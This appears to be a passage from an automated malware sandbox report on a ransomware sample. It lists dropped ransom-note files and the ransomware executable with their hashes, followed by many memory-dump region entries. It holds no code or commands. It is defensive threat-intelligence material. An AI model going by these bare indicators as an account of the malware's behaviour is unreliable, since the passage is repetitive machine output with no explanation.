                                                4edf17a61c0bd46a284ba373c4383f428028f70c6ae1e6c1e690e2193f7955be

                                                SHA512

                                                07e613694e998c5694e5105be25a1b8adaab761ce3c4acba122cd9a860cf9a538dbe7723a00861e4621dd86875e504b1275eaab4d23cf132f0c8ec38e36ec3ab

                                                Download Submit

                                              • C:\Users\Admin\Desktop\Read-me!!! 4 .txt
                                                Filesize

                                                737B

                                                MD5

                                                3f6a14606b7e88b4d8efdf08554617a7

                                                SHA1

                                                7ab21eb1fbd4c148b1753d9fe9af6c5a8eb56547

                                                SHA256

                                                166a9482d6b60e7fd49e7463efc04e62f3edf57b11f0b5b77b8d138a736aa801

                                                SHA512

                                                666be8da3f2d737dd9f26fa38818efb412bf6b01b675647797a3b748c4330a5ae7051ea810a4c1c9047d262382886e9c7fc9a2bd49642e94a5ecc2b93291434f

                                                Download Submit

                                              • C:\Users\Public\Documents\!!!_READ_ME_C193238C_!!!.txt
                                                Filesize

                                                5KB

                                                MD5

                                                a53e1c0f07da7dc52c368b926111d3b5

                                                SHA1

                                                06cfe102048cb38863959befd5468f353ea4940a

                                                SHA256

                                                2da3b2c785de5d5f551d8e5df2e9fc59afa27202db57f5ca3a808f002045dd00

                                                SHA512

                                                d7529ae89d987d4c55dd2b7874f69a7cf8e8f2542e450056f1e7d586e28766fd139df4d5de17c39838383dc4d260adea3b92ac87832be47dcaeead83498d1d1b

                                                Download Submit

                                              • F:\FBI.txt
                                                Filesize

                                                222B

                                                MD5

                                                a09ccbf9fd3f753825b4988262513571

                                                SHA1

                                                41a6cf887235dcf83b71e0867f07912fd1b6fb83

                                                SHA256

                                                15ee7fb014be79bbf37fd7dbfe6b0f3851cd5d47982b54617ac27c03503d2c63

                                                SHA512

                                                6e65a19438752ac18e21f5f309386ad59086c3325de9eb6ccbb6c740b70571abf4378f29ed0da445521d0b205666d918eb71b9b9dbcbfd57dfa56c6956411ed9

                                                Download Submit

                                              • \??\c:\users\admin\desktop\00399\heur-trojan-ransom.msil.foreign.gen-47b99e50430e9abad7326d1837ecdda5f995112b0b12406d23df5ef603d52a4e.exe
                                                Filesize

                                                9.7MB

                                                MD5

                                                8d42aaeaa6fc19c74b744ccf20e51150

                                                SHA1

                                                e350b04dc8a3005649c8d54716b740c37d12dd53

                                                SHA256

                                                47b99e50430e9abad7326d1837ecdda5f995112b0b12406d23df5ef603d52a4e

                                                SHA512

                                                818fb089c26750dea3f1ef5aafed065398fa0be2106e37bf5727e3c30868f9e5af71484c837371aaa09de4fbd36d345c2a813dd1f6e65cfff8ff01bebab80d19

                                                Download Submit

                                              • \??\c:\users\admin\desktop\9-sinif-matematik-denklem-ve-esitsizlikler-ii-testler.lnk
                                                Filesize

                                                2KB

                                                MD5

                                                29e8bc6b72b7c8344d69da8e7f1370e7

                                                SHA1

                                                24f6e0df8c4e027ff6ef68d8c54161060d1ac025

                                                SHA256

                                                a9a43f8101206115a17415181862d3b776e9de244b47033fb181ee8b47648659

                                                SHA512

                                                dbe5f2365077d3d8c5ff3f78bc6a3124fbc9292747437f7b87cb8429709db9d6ff36b89cda36898490a2bd371d5c6441fce199405d935a3cbfd694eae4dac867

                                                Download Submit

                                              • memory/548-102-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-124-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-76-0x0000000000AA0000-0x0000000001070000-memory.dmp

                                                Filesize

                                                5.8MB

                                                Download

                                              • memory/548-86-0x0000000005970000-0x0000000005996000-memory.dmp

                                                Filesize

                                                152KB

                                                Download

                                              • memory/548-136-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-116-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-7373-0x00000000061D0000-0x0000000006262000-memory.dmp

                                                Filesize

                                                584KB

                                                Download

                                              • memory/548-7177-0x00000000066A0000-0x0000000006C44000-memory.dmp

                                                Filesize

                                                5.6MB

                                                Download

                                              • memory/548-134-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-132-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-106-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-128-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-126-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-104-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-100-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-122-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-98-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-120-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-118-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-112-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-110-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-108-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-94-0x0000000073910000-0x0000000073999000-memory.dmp

                                                Filesize

                                                548KB

                                                Download

                                              • memory/548-95-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/548-96-0x0000000005970000-0x0000000005991000-memory.dmp

                                                Filesize

                                                132KB

                                                Download

                                              • memory/1284-523-0x0000000001750000-0x0000000001770000-memory.dmp

                                                Filesize

                                                128KB

                                                Download

                                              • memory/1600-432-0x0000000000400000-0x0000000000498000-memory.dmp

                                                Filesize

                                                608KB

                                                Download

                                              • memory/1600-447-0x0000000000400000-0x0000000000498000-memory.dmp

                                                Filesize

                                                608KB

                                                Download

                                              • memory/2280-445-0x0000000000400000-0x0000000000498000-memory.dmp

                                                Filesize

                                                608KB

                                                Download

                                              • memory/2280-2967-0x0000000000400000-0x0000000000498000-memory.dmp

                                                Filesize

                                                608KB

                                                Download

                                              • memory/2280-10416-0x0000000000400000-0x0000000000498000-memory.dmp

                                                Filesize

                                                608KB

                                                Download

                                              • memory/2748-272-0x0000000000400000-0x0000000000593000-memory.dmp

                                                Filesize

                                                1.6MB

                                                Download

                                              • memory/2748-565-0x0000000000400000-0x0000000000593000-memory.dmp

                                                Filesize

                                                1.6MB

                                                Download

                                              • memory/2748-17617-0x0000000000400000-0x0000000000593000-memory.dmp

                                                Filesize

                                                1.6MB

                                                Download

                                              • memory/3528-66-0x0000017470A20000-0x0000017470A3E000-memory.dmp

                                                Filesize

                                                120KB

                                                Download

                                              • memory/3528-64-0x0000017470A60000-0x0000017470AD6000-memory.dmp

                                                Filesize

                                                472KB

                                                Download

                                              • memory/3528-63-0x0000017470990000-0x00000174709D4000-memory.dmp

                                                Filesize

                                                272KB

                                                Download

                                              • memory/3528-53-0x00000174704D0000-0x00000174704F2000-memory.dmp

                                                Filesize

                                                136KB

                                                Download

                                              • memory/3916-24-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-33-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-30-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-25-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-26-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-32-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-31-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-34-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-35-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/3916-36-0x0000022C2E360000-0x0000022C2E361000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/4020-495-0x000000001C710000-0x000000001C846000-memory.dmp

                                                Filesize

                                                1.2MB

                                                Download

                                              • memory/4020-496-0x000000001D7B0000-0x000000001DB84000-memory.dmp

                                                Filesize

                                                3.8MB

                                                Download

                                              • memory/4020-494-0x000000001C200000-0x000000001C70E000-memory.dmp

                                                Filesize

                                                5.1MB

                                                Download

                                              • memory/4352-77-0x000000001CE70000-0x000000001D33E000-memory.dmp

                                                Filesize

                                                4.8MB

                                                Download

                                              • memory/4352-81-0x000000001D340000-0x000000001D3DC000-memory.dmp

                                                Filesize

                                                624KB

                                                Download

                                              • memory/4352-85-0x00000000021B0000-0x00000000021B8000-memory.dmp

                                                Filesize

                                                32KB

                                                Download

                                              • memory/4648-284-0x0000015C4C970000-0x0000015C4C97A000-memory.dmp

                                                Filesize

                                                40KB

                                                Download

                                              • memory/4796-271-0x000002448E740000-0x000002448E756000-memory.dmp

                                                Filesize

                                                88KB

                                                Download

                                              • memory/4856-219-0x00000000023C0000-0x00000000023C6000-memory.dmp

                                                Filesize

                                                24KB

                                                Download

                                              • memory/4856-216-0x0000000000440000-0x0000000000468000-memory.dmp

                                                Filesize

                                                160KB

                                                Download

                                              • memory/6304-17933-0x0000000000400000-0x0000000000593000-memory.dmp

                                                Filesize

                                                1.6MB

                                                Download

                                              • memory/6304-17672-0x0000000000400000-0x0000000000593000-memory.dmp

                                                Filesize

                                                1.6MB

                                                Download

                                              • memory/8256-41872-0x000000000EA90000-0x000000000EA9C000-memory.dmp

                                                Filesize

                                                48KB

                                                Download